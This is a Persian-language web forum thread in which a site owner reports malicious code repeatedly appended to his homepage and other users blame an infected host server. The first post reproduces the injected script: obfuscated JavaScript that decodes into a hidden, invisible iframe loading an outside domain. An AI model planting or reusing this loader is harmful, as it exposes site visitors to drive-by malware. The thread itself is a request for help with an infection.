PDA

View Full Version : اضافه شدن خودبه خود کد ناخواسته در انتهای صفحه



silverfox
جمعه 22 خرداد 1388, 14:02 عصر
من چند وقت پیش یه تاپیک درست کردم برای اینکه توی همه صفحه های سایتم 130 کیلوبایت کد اضافه شده بود دوستان گفتن که مال هاست ولی هاست من مجانی نیست اون کد اضافه شده یه سری لیست آیتم بود که به یه سایت لینک می داد حالا یه کد ته صفحه اول سایتم فقط اضافه شده که چون از مستر پیج استفاده می کنم باعث می شه ارور بده و لود نشه سایتم


<html><body><script type="text/javascript">var vIkytowORShQVZqTBFox = "sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU11 9sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48 sLU34sLU32sLU104sLU101sLU105sLU103sLU104sLU116sLU6 1sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sL U34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sL U111sLU108sLU111sLU46sLU116sLU119sLU47sLU105sLU110 sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU3 2sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU1 11sLU114sLU100sLU101sLU114sLU58sLU48sLU112sLU120sL U59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111 sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU1 18sLU101sLU59sLU32sLU116sLU111sLU112sLU58sLU48sLU1 12sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU 45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU11 2sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU59sLU32s LU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU1 14sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU1 09sLU97sLU103sLU101sLU84sLU114sLU97sLU110sLU115sLU 102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sL U111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112 sLU104sLU97sLU40sLU111sLU112sLU97sLU99sLU105sLU116 sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sL U122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121s LU58sLU48sLU34sLU62sLU60sLU47sLU105sLU102sLU114sLU 97sLU109sLU101sLU62";var QWUvRMtrivbeEMdxAZLS = vIkytowORShQVZqTBFox.split("sLU");var rsiNSZhTeWRvtmrKykBh = "";for (var gdLkpohqOtIGmrTFQBZv=1; gdLkpohqOtIGmrTFQBZv<QWUvRMtrivbeEMdxAZLS.length; gdLkpohqOtIGmrTFQBZv++){rsiNSZhTeWRvtmrKykBh+=Stri ng.fromCharCode(QWUvRMtrivbeEMdxAZLS[gdLkpohqOtIGmrTFQBZv]);}document.write(rsiNSZhTeWRvtmrKykBh)</script></body></html>
سایت من هک شده این کدها از کجا می تونه بیاد؟

dr.pantagon
جمعه 22 خرداد 1388, 17:45 عصر
به احتمال زیاد سرور ویروس داره وا داره به پیج هات کد اضافه می کنه

لینک سایتت رو بده یا یکی از پیج هات رو attach کن ببینمش

یا یک پیج خالی که فقط Header های html رو داره رو آپلود کن اگر دوباره پیش اومد 100% ویروس داره سرور

silverfox
جمعه 22 خرداد 1388, 18:32 عصر
اینم پیج اتچ کردم چند دقیقه پیش دوباره اومد اون کده دوباره مجبور شدم صفحه ام رو آپلود کنم فقطم صفحه default.aspx اینطوری می شه

iman_22a
جمعه 22 خرداد 1388, 20:09 عصر
هاست آلوده به کرم (Worm) هستش و احتمالا چون Default.aspx صفحه پیش فرض اکثر هاست ها هستش ، همین صفحه مورد تهاجم قرار گرفته (مثل میلهای Info که توسط اسپمرها گلوله بارون میشه :لبخند:)

dr.pantagon
چهارشنبه 27 خرداد 1388, 19:17 عصر
100% سرور ویروسی است و متاسفانه 2 تا آنتی بیشتر این ویروس رو نمی شناسه
Antivirus Version Last Update Result
Avast4.8.1335.02009.06.16HTML:IFrame-EJ
GData192009.06.17HTML:IFrame-EJ

silverfox
پنج شنبه 28 خرداد 1388, 01:20 صبح
ممنون از جوابتون به هاستم ایمیل زدم خبری از پیگیری نشد و هنوز دارم روزی یکبار صفحه ام رو ری آپلود می کنم با یکی از دوستان که هاست رو از طریق اون گرفته بودم صحبت کردم گفت هک شدی شاید تروجانی چیزی رو سیستمته...من پسورد هامو همرو عوض می کنم ببینم چی می شه چون اگه تروجانی بوده قبلا بوده...تو کامند پرامپ نمی شه دید چه برنامه هایی سند و ریسیو دارن و از کانکشنم دارن استفاده می کنن؟
در ضمن هاستم که ددیکیتد نیست همینطوری جواب ندادن جه برسه بگم آنتی ویروس بریزن :دی

iman_22a
پنج شنبه 28 خرداد 1388, 03:39 صبح
دوست عزیز سلام . احتمالا دارن سعی می کنن برطرفش کنن ولی نتونستن . از این مشکلات متاسفانه خیلی پیش میاد و بعضی شرکتهای تازه کار قدرت و دانش برخورد با این مسائل رو ندارن . سرور صد در صد ویروسیه و همین ویروسی رو گرفته که دوستمون عرض کردن . اگر از جای دیگه سرویس بگیری بنظرم بهتره .

hobab-theme
پنج شنبه 28 خرداد 1388, 03:54 صبح
امان از رفیق ناباب:لبخند:
منم یه بار به واسطه یکی از دوستان یه هاست خریدم وای وای وای
چشت روز بد نبینه که یه روز خوش نداشتم
انشاالله زودتر مشکلت حل بشه . بنظر منم تا دیر نشده هاستت رو عوض کن